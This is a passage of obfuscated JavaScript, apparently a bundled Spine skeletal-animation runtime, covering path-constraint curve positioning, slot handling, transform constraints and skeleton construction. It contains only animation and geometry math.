0x4, _0x5901df, 0x4, 0x2)) : _0x25b921['computeWorldVertices'](_0x3f78e3, 0x6 * _0x1c6cde + 0x2, 0x8, _0x5901df, 0x0, 0x2)), this['addCurvePosition'](_0xf20c4c, _0x5901df[0x0], _0x5901df[0x1], _0x5901df[0x2], _0x5901df[0x3], _0x5901df[0x4], _0x5901df[0x5], _0x5901df[0x6], _0x5901df[0x7], _0x31b8f7, _0x1b4f8b, _0x10f979 || _0x1c8628 > 0x0 && 0x0 == _0x3ef233); } return _0x31b8f7; } _0x5f4f16 ? (_0x107358 += 0x2, _0x5901df = _0x380bba['setArraySize'](this['world'], _0x107358), _0x25b921['computeWorldVertices'](_0x3f78e3, 0x2, _0x107358 - 0x4, _0x5901df, 0x0, 0x2), _0x25b921['computeWorldVertices'](_0x3f78e3, 0x0, 0x2, _0x5901df, _0x107358 - 0x4, 0x2), _0x5901df[_0x107358 - 0x2] = _0x5901df[0x0], _0x5901df[_0x107358 - 0x1] = _0x5901df[0x1]) : (_0x123ee0--, _0x107358 -= 0x4, _0x5901df = _0x380bba['setArraySize'](this['world'], _0x107358), _0x25b921['computeWorldVertices'](_0x3f78e3, 0x2, _0x107358, _0x5901df, 0x0, 0x2)); let _0x272ca9, _0x5d992f = _0x380bba['setArraySize'](this['curves'], _0x123ee0), _0x32563a = 0x0, _0x1f06ec = _0x5901df[0x0], _0x1f1365 = _0x5901df[0x1], _0x2945ab = 0x0, _0x4f79dc = 0x0, _0x377fd7 = 0x0, _0x4c335f = 0x0, _0x241de9 = 0x0, _0x517e71 = 0x0, _0x37e2bc = 0x0, _0x536456 = 0x0, _0xe5f3a9 = 0x0, _0x2c9067 = 0x0, _0x136639 = 0x0, _0x44d736 = 0x0, _0x141e6c = 0x0, _0x415e8a = 0x0; for (let _0x55967b = 0x0, _0x2126bc = 0x2; _0x55967b < _0x123ee0; _0x55967b++, _0x2126bc += 0x6)_0x2945ab = _0x5901df[_0x2126bc], _0x4f79dc = _0x5901df[_0x2126bc + 0x1], _0x377fd7 = _0x5901df[_0x2126bc + 0x2], _0x4c335f = _0x5901df[_0x2126bc + 0x3], _0x241de9 = _0x5901df[_0x2126bc + 0x4], _0x517e71 = _0x5901df[_0x2126bc + 0x5], _0x37e2bc = 0.1875 * (_0x1f06ec - 0x2 * _0x2945ab + _0x377fd7), _0x536456 = 0.1875 * (_0x1f1365 - 0x2 * _0x4f79dc + _0x4c335f), _0xe5f3a9 = 0.09375 * (0x3 * (_0x2945ab - _0x377fd7) - _0x1f06ec + _0x241de9), _0x2c9067 = 0.09375 * (0x3 * (_0x4f79dc - _0x4c335f) - _0x1f1365 + _0x517e71), _0x136639 = 0x2 * _0x37e2bc + _0xe5f3a9, _0x44d736 = 0x2 * _0x536456 + _0x2c9067, _0x141e6c = 0.75 * (_0x2945ab - _0x1f06ec) + _0x37e2bc + 0.16666667 * _0xe5f3a9, _0x415e8a = 0.75 * (_0x4f79dc - _0x1f1365) + _0x536456 + 0.16666667 * _0x2c9067, _0x32563a += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x141e6c += _0x136639, _0x415e8a += _0x44d736, _0x136639 += _0xe5f3a9, _0x44d736 += _0x2c9067, _0x32563a += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x141e6c += _0x136639, _0x415e8a += _0x44d736, _0x32563a += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x141e6c += _0x136639 + _0xe5f3a9, _0x415e8a += _0x44d736 + _0x2c9067, _0x32563a += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x5d992f[_0x55967b] = _0x32563a, _0x1f06ec = _0x241de9, _0x1f1365 = _0x517e71; switch (0x1 == this['data']['positionMode'] && (_0x6b6525 *= _0x32563a), this['data']['spacingMode']) { case 0x2: _0x272ca9 = _0x32563a; break; case 0x3: _0x272ca9 = _0x32563a / _0x29fe42; break; default: _0x272ca9 = 0x1; }let _0x2e95eb = this['segments'], _0x446463 = 0x0; for (let _0x41c0a9 = 0x0, _0xea5022 = 0x0, _0x195b56 = 0x0, _0x199b8f = 0x0; _0x41c0a9 < _0x29fe42; _0x41c0a9++, _0xea5022 += 0x3) { let _0x1751e4 = _0x4b9ab9[_0x41c0a9] * _0x272ca9; _0x6b6525 += _0x1751e4; let _0x42cbd6 = _0x6b6525; if (_0x5f4f16) _0x42cbd6 %= _0x32563a, _0x42cbd6 < 0x0 && (_0x42cbd6 += _0x32563a), _0x195b56 = 0x0; else { if (_0x42cbd6 < 0x0) { this['addBeforePosition'](_0x42cbd6, _0x5901df, 0x0, _0x31b8f7, _0xea5022); continue; } if (_0x42cbd6 > _0x32563a) { this['addAfterPosition'](_0x42cbd6 - _0x32563a, _0x5901df, _0x107358 - 0x4, _0x31b8f7, _0xea5022); continue; } } for (; ; _0x195b56++) { let _0x3631f2 = _0x5d992f[_0x195b56]; if (!(_0x42cbd6 > _0x3631f2)) { if (0x0 == _0x195b56) _0x42cbd6 /= _0x3631f2; else { let _0x1b4777 = _0x5d992f[_0x195b56 - 0x1]; _0x42cbd6 = (_0x42cbd6 - _0x1b4777) / (_0x3631f2 - _0x1b4777); } break; } } if (_0x195b56 != _0x10b32f) { _0x10b32f = _0x195b56; let _0x2c47e0 = 0x6 * _0x195b56; for (_0x1f06ec = _0x5901df[_0x2c47e0], _0x1f1365 = _0x5901df[_0x2c47e0 + 0x1], _0x2945ab = _0x5901df[_0x2c47e0 + 0x2], _0x4f79dc = _0x5901df[_0x2c47e0 + 0x3], _0x377fd7 = _0x5901df[_0x2c47e0 + 0x4], _0x4c335f = _0x5901df[_0x2c47e0 + 0x5], _0x241de9 = _0x5901df[_0x2c47e0 + 0x6], _0x517e71 = _0x5901df[_0x2c47e0 + 0x7], _0x37e2bc = 0.03 * (_0x1f06ec - 0x2 * _0x2945ab + _0x377fd7), _0x536456 = 0.03 * (_0x1f1365 - 0x2 * _0x4f79dc + _0x4c335f), _0xe5f3a9 = 0.006 * (0x3 * (_0x2945ab - _0x377fd7) - _0x1f06ec + _0x241de9), _0x2c9067 = 0.006 * (0x3 * (_0x4f79dc - _0x4c335f) - _0x1f1365 + _0x517e71), _0x136639 = 0x2 * _0x37e2bc + _0xe5f3a9, _0x44d736 = 0x2 * _0x536456 + _0x2c9067, _0x141e6c = 0.3 * (_0x2945ab - _0x1f06ec) + _0x37e2bc + 0.16666667 * _0xe5f3a9, _0x415e8a = 0.3 * (_0x4f79dc - _0x1f1365) + _0x536456 + 0.16666667 * _0x2c9067, _0x446463 = Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x2e95eb[0x0] = _0x446463, _0x2c47e0 = 0x1; _0x2c47e0 < 0x8; _0x2c47e0++)_0x141e6c += _0x136639, _0x415e8a += _0x44d736, _0x136639 += _0xe5f3a9, _0x44d736 += _0x2c9067, _0x446463 += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x2e95eb[_0x2c47e0] = _0x446463; _0x141e6c += _0x136639, _0x415e8a += _0x44d736, _0x446463 += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x2e95eb[0x8] = _0x446463, _0x141e6c += _0x136639 + _0xe5f3a9, _0x415e8a += _0x44d736 + _0x2c9067, _0x446463 += Math['sqrt'](_0x141e6c * _0x141e6c + _0x415e8a * _0x415e8a), _0x2e95eb[0x9] = _0x446463, _0x199b8f = 0x0; } for (_0x42cbd6 *= _0x446463; ; _0x199b8f++) { let _0x398236 = _0x2e95eb[_0x199b8f]; if (!(_0x42cbd6 > _0x398236)) { if (0x0 == _0x199b8f) _0x42cbd6 /= _0x398236; else { let _0x1cdc91 = _0x2e95eb[_0x199b8f - 0x1]; _0x42cbd6 = _0x199b8f + (_0x42cbd6 - _0x1cdc91) / (_0x398236 - _0x1cdc91); } break; } } this['addCurvePosition'](0.1 * _0x42cbd6, _0x1f06ec, _0x1f1365, _0x2945ab, _0x4f79dc, _0x377fd7, _0x4c335f, _0x241de9, _0x517e71, _0x31b8f7, _0xea5022, _0x10f979 || _0x41c0a9 > 0x0 && 0x0 == _0x1751e4); } return _0x31b8f7; } ['addBeforePosition'](_0x103e81, _0x3b7c7d, _0x3895d5, _0x4ae095, _0x5d92a9) { let _0x167de0 = _0x3b7c7d[_0x3895d5], _0x5b8783 = _0x3b7c7d[_0x3895d5 + 0x1], _0x2267b7 = _0x3b7c7d[_0x3895d5 + 0x2] - _0x167de0, _0x38c3be = _0x3b7c7d[_0x3895d5 + 0x3] - _0x5b8783, _0x557ac5 = Math['atan2'](_0x38c3be, _0x2267b7); _0x4ae095[_0x5d92a9] = _0x167de0 + _0x103e81 * Math['cos'](_0x557ac5), _0x4ae095[_0x5d92a9 + 0x1] = _0x5b8783 + _0x103e81 * Math['sin'](_0x557ac5), _0x4ae095[_0x5d92a9 + 0x2] = _0x557ac5; } ['addAfterPosition'](_0x2e2d80, _0x36d525, _0x3274fb, _0x26a28a, _0xfb061a) { let _0x425ddb = _0x36d525[_0x3274fb + 0x2], _0x71e95e = _0x36d525[_0x3274fb + 0x3], _0x1cd9d9 = _0x425ddb - _0x36d525[_0x3274fb], _0x56c1bb = _0x71e95e - _0x36d525[_0x3274fb + 0x1], _0x14e291 = Math['atan2'](_0x56c1bb, _0x1cd9d9); _0x26a28a[_0xfb061a] = _0x425ddb + _0x2e2d80 * Math['cos'](_0x14e291), _0x26a28a[_0xfb061a + 0x1] = _0x71e95e + _0x2e2d80 * Math['sin'](_0x14e291), _0x26a28a[_0xfb061a + 0x2] = _0x14e291; } ['addCurvePosition'](_0x48a833, _0x5a9338, _0x154b95, _0x284196, _0x236b48, _0x3ba9c4, _0x197482, _0x28c643, _0x5c9e06, _0x1ffadb, _0x46ee82, _0x38a707) { if (0x0 == _0x48a833 || isNaN(_0x48a833)) return _0x1ffadb[_0x46ee82] = _0x5a9338, _0x1ffadb[_0x46ee82 + 0x1] = _0x154b95, void (_0x1ffadb[_0x46ee82 + 0x2] = Math['atan2'](_0x236b48 - _0x154b95, _0x284196 - _0x5a9338)); let _0x48cf30 = _0x48a833 * _0x48a833, _0x1aadcb = _0x48cf30 * _0x48a833, _0xfe7773 = 0x1 - _0x48a833, _0x2dbcd5 = _0xfe7773 * _0xfe7773, _0x1556dc = _0x2dbcd5 * _0xfe7773, _0x1663ef = _0xfe7773 * _0x48a833, _0x4a3852 = 0x3 * _0x1663ef, _0x20fe5e = _0xfe7773 * _0x4a3852, _0x496b9c = _0x4a3852 * _0x48a833, _0x21a12a = _0x5a9338 * _0x1556dc + _0x284196 * _0x20fe5e + _0x3ba9c4 * _0x496b9c + _0x28c643 * _0x1aadcb, _0x35d976 = _0x154b95 * _0x1556dc + _0x236b48 * _0x20fe5e + _0x197482 * _0x496b9c + _0x5c9e06 * _0x1aadcb; _0x1ffadb[_0x46ee82] = _0x21a12a, _0x1ffadb[_0x46ee82 + 0x1] = _0x35d976, _0x38a707 && (_0x1ffadb[_0x46ee82 + 0x2] = _0x48a833 < 0.001 ? Math['atan2'](_0x236b48 - _0x154b95, _0x284196 - _0x5a9338) : Math['atan2'](_0x35d976 - (_0x154b95 * _0x2dbcd5 + _0x236b48 * _0x1663ef * 0x2 + _0x197482 * _0x48cf30), _0x21a12a - (_0x5a9338 * _0x2dbcd5 + _0x284196 * _0x1663ef * 0x2 + _0x3ba9c4 * _0x48cf30))); } }, _0x162a76 = _0x3646bc; _0x162a76['NONE'] = -0x1, _0x162a76['BEFORE'] = -0x2, _0x162a76['AFTER'] = -0x3, _0x162a76['epsilon'] = 0.00001; var _0x2bc52a = class { constructor(_0x3fa1a4, _0x4be27b) { if (this['darkColor'] = null, this['attachment'] = null, this['attachmentState'] = 0x0, this['sequenceIndex'] = -0x1, this['deform'] = new Array(), !_0x3fa1a4) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x4be27b) throw new Error('bone\x20cannot\x20be\x20null.'); this['data'] = _0x3fa1a4, this['bone'] = _0x4be27b, this['color'] = new _0x2577a7(), this['darkColor'] = _0x3fa1a4['darkColor'] ? new _0x2577a7() : null, this['setToSetupPose'](); } ['getSkeleton']() { return this['bone']['skeleton']; } ['getAttachment']() { return this['attachment']; } ['setAttachment'](_0x1e373d) { this['attachment'] != _0x1e373d && (_0x1e373d instanceof _0x26c777 && this['attachment'] instanceof _0x26c777 && _0x1e373d['timelineAttachment'] == this['attachment']['timelineAttachment'] || (this['deform']['length'] = 0x0), this['attachment'] = _0x1e373d, this['sequenceIndex'] = -0x1); } ['setToSetupPose']() { this['color']['setFromColor'](this['data']['color']), this['darkColor'] && this['darkColor']['setFromColor'](this['data']['darkColor']), this['data']['attachmentName'] ? (this['attachment'] = null, this['setAttachment'](this['bone']['skeleton']['getAttachment'](this['data']['index'], this['data']['attachmentName']))) : this['attachment'] = null; } }, _0xc7bab4 = class { constructor(_0x1567fe, _0x5e9473) { if (this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['mixScaleX'] = 0x0, this['mixScaleY'] = 0x0, this['mixShearY'] = 0x0, this['temp'] = new _0x47b9a5(), this['active'] = !0x1, !_0x1567fe) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x5e9473) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x1567fe, this['mixRotate'] = _0x1567fe['mixRotate'], this['mixX'] = _0x1567fe['mixX'], this['mixY'] = _0x1567fe['mixY'], this['mixScaleX'] = _0x1567fe['mixScaleX'], this['mixScaleY'] = _0x1567fe['mixScaleY'], this['mixShearY'] = _0x1567fe['mixShearY'], this['bones'] = new Array(); for (let _0x57a5ae = 0x0; _0x57a5ae < _0x1567fe['bones']['length']; _0x57a5ae++) { let _0x2e2ff3 = _0x5e9473['findBone'](_0x1567fe['bones'][_0x57a5ae]['name']); if (!_0x2e2ff3) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x1567fe['bones'][_0x57a5ae]['name'] + '.'); this['bones']['push'](_0x2e2ff3); } let _0x1c250a = _0x5e9473['findBone'](_0x1567fe['target']['name']); if (!_0x1c250a) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x1567fe['target']['name'] + '.'); this['target'] = _0x1c250a; } ['isActive']() { return this['active']; } ['update']() { 0x0 == this['mixRotate'] && 0x0 == this['mixX'] && 0x0 == this['mixY'] && 0x0 == this['mixScaleX'] && 0x0 == this['mixScaleY'] && 0x0 == this['mixShearY'] || (this['data']['local'] ? this['data']['relative'] ? this['applyRelativeLocal']() : this['applyAbsoluteLocal']() : this['data']['relative'] ? this['applyRelativeWorld']() : this['applyAbsoluteWorld']()); } ['applyAbsoluteWorld']() { let _0x303e77 = this['mixRotate'], _0x4c3fe7 = this['mixX'], _0x3c0f28 = this['mixY'], _0x5502e3 = this['mixScaleX'], _0x1f5197 = this['mixScaleY'], _0x7dd642 = this['mixShearY'], _0x4e0c1b = 0x0 != _0x4c3fe7 || 0x0 != _0x3c0f28, _0x544c21 = this['target'], _0x38179f = _0x544c21['a'], _0x2575b1 = _0x544c21['b'], _0x4bc4e4 = _0x544c21['c'], _0x1fafca = _0x544c21['d'], _0x48d86a = _0x38179f * _0x1fafca - _0x2575b1 * _0x4bc4e4 > 0x0 ? _0xbc125['degRad'] : -_0xbc125['degRad'], _0x14921e = this['data']['offsetRotation'] * _0x48d86a, _0x3200ab = this['data']['offsetShearY'] * _0x48d86a, _0x2986c1 = this['bones']; for (let _0x57e915 = 0x0, _0x5535fd = _0x2986c1['length']; _0x57e915 < _0x5535fd; _0x57e915++) { let _0x18bb67 = _0x2986c1[_0x57e915]; if (0x0 != _0x303e77) { let _0x1ebce5 = _0x18bb67['a'], _0xdaec2e = _0x18bb67['b'], _0x1e052f = _0x18bb67['c'], _0x2bfa8e = _0x18bb67['d'], _0x35cbe5 = Math['atan2'](_0x4bc4e4, _0x38179f) - Math['atan2'](_0x1e052f, _0x1ebce5) + _0x14921e; _0x35cbe5 > _0xbc125['PI'] ? _0x35cbe5 -= _0xbc125['PI2'] : _0x35cbe5 < -_0xbc125['PI'] && (_0x35cbe5 += _0xbc125['PI2']), _0x35cbe5 *= _0x303e77; let _0x2a6d5d = Math['cos'](_0x35cbe5), _0x5b6f2a = Math['sin'](_0x35cbe5); _0x18bb67['a'] = _0x2a6d5d * _0x1ebce5 - _0x5b6f2a * _0x1e052f, _0x18bb67['b'] = _0x2a6d5d * _0xdaec2e - _0x5b6f2a * _0x2bfa8e, _0x18bb67['c'] = _0x5b6f2a * _0x1ebce5 + _0x2a6d5d * _0x1e052f, _0x18bb67['d'] = _0x5b6f2a * _0xdaec2e + _0x2a6d5d * _0x2bfa8e; } if (_0x4e0c1b) { let _0x3ea2e1 = this['temp']; _0x544c21['localToWorld'](_0x3ea2e1['set'](this['data']['offsetX'], this['data']['offsetY'])), _0x18bb67['worldX'] += (_0x3ea2e1['x'] - _0x18bb67['worldX']) * _0x4c3fe7, _0x18bb67['worldY'] += (_0x3ea2e1['y'] - _0x18bb67['worldY']) * _0x3c0f28; } if (0x0 != _0x5502e3) { let _0x51e2c9 = Math['sqrt'](_0x18bb67['a'] * _0x18bb67['a'] + _0x18bb67['c'] * _0x18bb67['c']); 0x0 != _0x51e2c9 && (_0x51e2c9 = (_0x51e2c9 + (Math['sqrt'](_0x38179f * _0x38179f + _0x4bc4e4 * _0x4bc4e4) - _0x51e2c9 + this['data']['offsetScaleX']) * _0x5502e3) / _0x51e2c9), _0x18bb67['a'] *= _0x51e2c9, _0x18bb67['c'] *= _0x51e2c9; } if (0x0 != _0x1f5197) { let _0x2f7d07 = Math['sqrt'](_0x18bb67['b'] * _0x18bb67['b'] + _0x18bb67['d'] * _0x18bb67['d']); 0x0 != _0x2f7d07 && (_0x2f7d07 = (_0x2f7d07 + (Math['sqrt'](_0x2575b1 * _0x2575b1 + _0x1fafca * _0x1fafca) - _0x2f7d07 + this['data']['offsetScaleY']) * _0x1f5197) / _0x2f7d07), _0x18bb67['b'] *= _0x2f7d07, _0x18bb67['d'] *= _0x2f7d07; } if (_0x7dd642 > 0x0) { let _0x5552e5 = _0x18bb67['b'], _0x36c8b6 = _0x18bb67['d'], _0x39403f = Math['atan2'](_0x36c8b6, _0x5552e5), _0x4bb228 = Math['atan2'](_0x1fafca, _0x2575b1) - Math['atan2'](_0x4bc4e4, _0x38179f) - (_0x39403f - Math['atan2'](_0x18bb67['c'], _0x18bb67['a'])); _0x4bb228 > _0xbc125['PI'] ? _0x4bb228 -= _0xbc125['PI2'] : _0x4bb228 < -_0xbc125['PI'] && (_0x4bb228 += _0xbc125['PI2']), _0x4bb228 = _0x39403f + (_0x4bb228 + _0x3200ab) * _0x7dd642; let _0x179ad3 = Math['sqrt'](_0x5552e5 * _0x5552e5 + _0x36c8b6 * _0x36c8b6); _0x18bb67['b'] = Math['cos'](_0x4bb228) * _0x179ad3, _0x18bb67['d'] = Math['sin'](_0x4bb228) * _0x179ad3; } _0x18bb67['updateAppliedTransform'](); } } ['applyRelativeWorld']() { let _0x5bf454 = this['mixRotate'], _0x44ca7f = this['mixX'], _0x1b0c70 = this['mixY'], _0x4c8e52 = this['mixScaleX'], _0x20f5c7 = this['mixScaleY'], _0x45c2e6 = this['mixShearY'], _0x1c2bc1 = 0x0 != _0x44ca7f || 0x0 != _0x1b0c70, _0x3f9197 = this['target'], _0x4e76c1 = _0x3f9197['a'], _0x226801 = _0x3f9197['b'], _0x3b0f0e = _0x3f9197['c'], _0x482e95 = _0x3f9197['d'], _0x250a4c = _0x4e76c1 * _0x482e95 - _0x226801 * _0x3b0f0e > 0x0 ? _0xbc125['degRad'] : -_0xbc125['degRad'], _0x5c6595 = this['data']['offsetRotation'] * _0x250a4c, _0x1ed0ae = this['data']['offsetShearY'] * _0x250a4c, _0x29a80d = this['bones']; for (let _0x317a67 = 0x0, _0x21fc78 = _0x29a80d['length']; _0x317a67 < _0x21fc78; _0x317a67++) { let _0xb68865 = _0x29a80d[_0x317a67]; if (0x0 != _0x5bf454) { let _0x246d88 = _0xb68865['a'], _0x3aa72d = _0xb68865['b'], _0x5a4efc = _0xb68865['c'], _0x229e9f = _0xb68865['d'], _0x288bdc = Math['atan2'](_0x3b0f0e, _0x4e76c1) + _0x5c6595; _0x288bdc > _0xbc125['PI'] ? _0x288bdc -= _0xbc125['PI2'] : _0x288bdc < -_0xbc125['PI'] && (_0x288bdc += _0xbc125['PI2']), _0x288bdc *= _0x5bf454; let _0x34e4e1 = Math['cos'](_0x288bdc), _0x316c8b = Math['sin'](_0x288bdc); _0xb68865['a'] = _0x34e4e1 * _0x246d88 - _0x316c8b * _0x5a4efc, _0xb68865['b'] = _0x34e4e1 * _0x3aa72d - _0x316c8b * _0x229e9f, _0xb68865['c'] = _0x316c8b * _0x246d88 + _0x34e4e1 * _0x5a4efc, _0xb68865['d'] = _0x316c8b * _0x3aa72d + _0x34e4e1 * _0x229e9f; } if (_0x1c2bc1) { let _0x3318d4 = this['temp']; _0x3f9197['localToWorld'](_0x3318d4['set'](this['data']['offsetX'], this['data']['offsetY'])), _0xb68865['worldX'] += _0x3318d4['x'] * _0x44ca7f, _0xb68865['worldY'] += _0x3318d4['y'] * _0x1b0c70; } if (0x0 != _0x4c8e52) { let _0x3ccb68 = (Math['sqrt'](_0x4e76c1 * _0x4e76c1 + _0x3b0f0e * _0x3b0f0e) - 0x1 + this['data']['offsetScaleX']) * _0x4c8e52 + 0x1; _0xb68865['a'] *= _0x3ccb68, _0xb68865['c'] *= _0x3ccb68; } if (0x0 != _0x20f5c7) { let _0x12e2eb = (Math['sqrt'](_0x226801 * _0x226801 + _0x482e95 * _0x482e95) - 0x1 + this['data']['offsetScaleY']) * _0x20f5c7 + 0x1; _0xb68865['b'] *= _0x12e2eb, _0xb68865['d'] *= _0x12e2eb; } if (_0x45c2e6 > 0x0) { let _0x258445 = Math['atan2'](_0x482e95, _0x226801) - Math['atan2'](_0x3b0f0e, _0x4e76c1); _0x258445 > _0xbc125['PI'] ? _0x258445 -= _0xbc125['PI2'] : _0x258445 < -_0xbc125['PI'] && (_0x258445 += _0xbc125['PI2']); let _0x173388 = _0xb68865['b'], _0x42b4e1 = _0xb68865['d']; _0x258445 = Math['atan2'](_0x42b4e1, _0x173388) + (_0x258445 - _0xbc125['PI'] / 0x2 + _0x1ed0ae) * _0x45c2e6; let _0x41f58f = Math['sqrt'](_0x173388 * _0x173388 + _0x42b4e1 * _0x42b4e1); _0xb68865['b'] = Math['cos'](_0x258445) * _0x41f58f, _0xb68865['d'] = Math['sin'](_0x258445) * _0x41f58f; } _0xb68865['updateAppliedTransform'](); } } ['applyAbsoluteLocal']() { let _0x232654 = this['mixRotate'], _0x39852e = this['mixX'], _0x4f782f = this['mixY'], _0x94b36 = this['mixScaleX'], _0x31697b = this['mixScaleY'], _0x5506c1 = this['mixShearY'], _0x49258a = this['target'], _0x1f7f55 = this['bones']; for (let _0x3d85ef = 0x0, _0x1f4d26 = _0x1f7f55['length']; _0x3d85ef < _0x1f4d26; _0x3d85ef++) { let _0x5d6a1a = _0x1f7f55[_0x3d85ef], _0x292c14 = _0x5d6a1a['arotation']; if (0x0 != _0x232654) { let _0x46e0eb = _0x49258a['arotation'] - _0x292c14 + this['data']['offsetRotation']; _0x46e0eb -= 0x168 * (0x4000 - (16384.499999999996 - _0x46e0eb / 0x168 | 0x0)), _0x292c14 += _0x46e0eb * _0x232654; } let _0x5c0b9f = _0x5d6a1a['ax'], _0x3ed906 = _0x5d6a1a['ay']; _0x5c0b9f += (_0x49258a['ax'] - _0x5c0b9f + this['data']['offsetX']) * _0x39852e, _0x3ed906 += (_0x49258a['ay'] - _0x3ed906 + this['data']['offsetY']) * _0x4f782f; let _0x3ba793 = _0x5d6a1a['ascaleX'], _0x1ddfe1 = _0x5d6a1a['ascaleY']; 0x0 != _0x94b36 && 0x0 != _0x3ba793 && (_0x3ba793 = (_0x3ba793 + (_0x49258a['ascaleX'] - _0x3ba793 + this['data']['offsetScaleX']) * _0x94b36) / _0x3ba793), 0x0 != _0x31697b && 0x0 != _0x1ddfe1 && (_0x1ddfe1 = (_0x1ddfe1 + (_0x49258a['ascaleY'] - _0x1ddfe1 + this['data']['offsetScaleY']) * _0x31697b) / _0x1ddfe1); let _0x82379e = _0x5d6a1a['ashearY']; if (0x0 != _0x5506c1) { let _0x3a95ec = _0x49258a['ashearY'] - _0x82379e + this['data']['offsetShearY']; _0x3a95ec -= 0x168 * (0x4000 - (16384.499999999996 - _0x3a95ec / 0x168 | 0x0)), _0x82379e += _0x3a95ec * _0x5506c1; } _0x5d6a1a['updateWorldTransformWith'](_0x5c0b9f, _0x3ed906, _0x292c14, _0x3ba793, _0x1ddfe1, _0x5d6a1a['ashearX'], _0x82379e); } } ['applyRelativeLocal']() { let _0x6270aa = this['mixRotate'], _0x4a7a8c = this['mixX'], _0x34163c = this['mixY'], _0x323d3d = this['mixScaleX'], _0x2de2d1 = this['mixScaleY'], _0x69d56c = this['mixShearY'], _0x119c01 = this['target'], _0xe8c291 = this['bones']; for (let _0x4b98e9 = 0x0, _0x58ebb8 = _0xe8c291['length']; _0x4b98e9 < _0x58ebb8; _0x4b98e9++) { let _0x1bc5e7 = _0xe8c291[_0x4b98e9], _0x186f98 = _0x1bc5e7['arotation'] + (_0x119c01['arotation'] + this['data']['offsetRotation']) * _0x6270aa, _0x29fd42 = _0x1bc5e7['ax'] + (_0x119c01['ax'] + this['data']['offsetX']) * _0x4a7a8c, _0xb274e7 = _0x1bc5e7['ay'] + (_0x119c01['ay'] + this['data']['offsetY']) * _0x34163c, _0xffae4f = _0x1bc5e7['ascaleX'] * ((_0x119c01['ascaleX'] - 0x1 + this['data']['offsetScaleX']) * _0x323d3d + 0x1), _0x94afb0 = _0x1bc5e7['ascaleY'] * ((_0x119c01['ascaleY'] - 0x1 + this['data']['offsetScaleY']) * _0x2de2d1 + 0x1), _0x290561 = _0x1bc5e7['ashearY'] + (_0x119c01['ashearY'] + this['data']['offsetShearY']) * _0x69d56c; _0x1bc5e7['updateWorldTransformWith'](_0x29fd42, _0xb274e7, _0x186f98, _0xffae4f, _0x94afb0, _0x1bc5e7['ashearX'], _0x290561); } } }, _0xa0e7c2 = class { constructor(_0x2c10bf) { if (this['_updateCache'] = new Array(), this['skin'] = null, this['scaleX'] = 0x1, this['_scaleY'] = 0x1, this['x'] = 0x0, this['y'] = 0x0, !_0x2c10bf) throw new Error('data\x20cannot\x20be\x20null.'); this['data'] = _0x2c10bf, this['bones'] = new Array(); for (let _0x4ad294 = 0x0; _0x4ad294 < _0x2c10bf['bones']['length']; _0x4ad294++) { let _0x2d7a12, _0x5635e2 = _0x2c10bf['bones'][_0x4ad294]; if (_0x5635e2['parent']) { let _0xb47dff = this['bones'][_0x5635e2['parent']['index']]; _0x2d7a12 = new _0x179411(_0x5635e2, this, _0xb47dff), _0xb47dff['children']['push'](_0x2d7a12); } else _0x2d7a12 = new _0x179411(_0x5635e2, this, null); this['bones']['push'](_0x2d7a12); } this['slots'] = new Array(), this['drawOrder'] = new Array(); for (let _0x24b8d1 = 0x0; _0x24b8d1 < _0x2c10bf['slots']['length']; _0x24b8d1++) { let _0x1b26a6 = _0x2c10bf['slots'][_0x24b8d1], _0x2d6438 = this['bones'][_0x1b26a6['boneData']['index']], _0x467b8f = new _0x2bc52a(_0x1b26a6, _0x2d6438); this['slots']['push'](_0x467b8f), this['drawOrder']['push'](_0x467b8f); } this['ikConstraints'] = new Array(); for (let _0x1b8132 = 0x0; _0x1b8132 < _0x2c10bf['ikConstraints']['length']; _0x1b8132++) { let _0x3a269e = _0x2c10bf['ikConstraints'][_0x1b8132]; this['ikConstraints']['push'](new _0x10a569(_0x3a269e, this)); } this['transformConstraints'] = new Array(); for (let _0x25f6ba = 0x0; _0x25f6ba < _0x2c10bf['transformConstraints']['length']; _0x25f6ba++) { let _0x574b68 = _0x2c10bf['transformConstraints'][_0x25f6ba]; this['transformConstraints']['push'](new _0xc7bab4(_0x574b68, this)); } this['pathConstraints'] = new Array(); for (let _0x443914 = 0x0; _0x443914 < _0x2c10bf['pathConstraints']['length']; _0x443914++) { let _0x64187c = _0x2c10bf['pathConstraints'][_0x443914]; this['pathConstraints']['push'](new _0x162a76(_0x64187c, this)); } this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1), this['updateCache'](); } get ['scaleY']() { return _0xa0e7c2['yDown'] ? -this['_scaleY'] : this['_scaleY']; } set ['scaleY'](_0x474f16) { this['_scaleY'] = _0x474f16; } ['updateCache']() { this['_updateCache']['length'] = 0x0; let _0x3bce68 = this['bones']; for (let _0x5e1eb3 = 0x0, _0x476a60 = _0x3bce68['length']; _0x5e1eb3 < _0x476a60; _0x5e1eb3++) { let _0x98c95c = _0x3bce68[_0x5e1eb3]; _0x98c95c['sorted'] = _0x98c95c['data']['skinRequired'], _0x98c95c['active'] = !_0x98c95c['sorted']; } if (this['skin']) { let _0x121215 = this['skin']['bones']; for (let _0x22ffdb = 0x0, _0xdf326e = this['skin']['bones']['length']; _0x22ffdb < _0xdf326e; _0x22ffdb++) { let _0xff0a7c = this['bones'][_0x121215[_0x22ffdb]['index']]; do { _0xff0a7c['sorted'] = !0x1, _0xff0a7c['active'] = !0x0, _0xff0a7c = _0xff0a7c['parent']; } while (_0xff0a7c); } } let _0x144c27 = this['ikConstraints'], _0x41a867 = this['transformConstraints'], _0x3bb7a0 = this['pathConstraints'], _0x87896b = _0x144c27['length'], _0xd27761 = _0x41a867['length'], _0x476201 = _0x3bb7a0['length'], _0xeb3b3d = _0x87896b + _0xd27761 + _0x476201; _0x13dd5b: for (let _0x20fd91 = 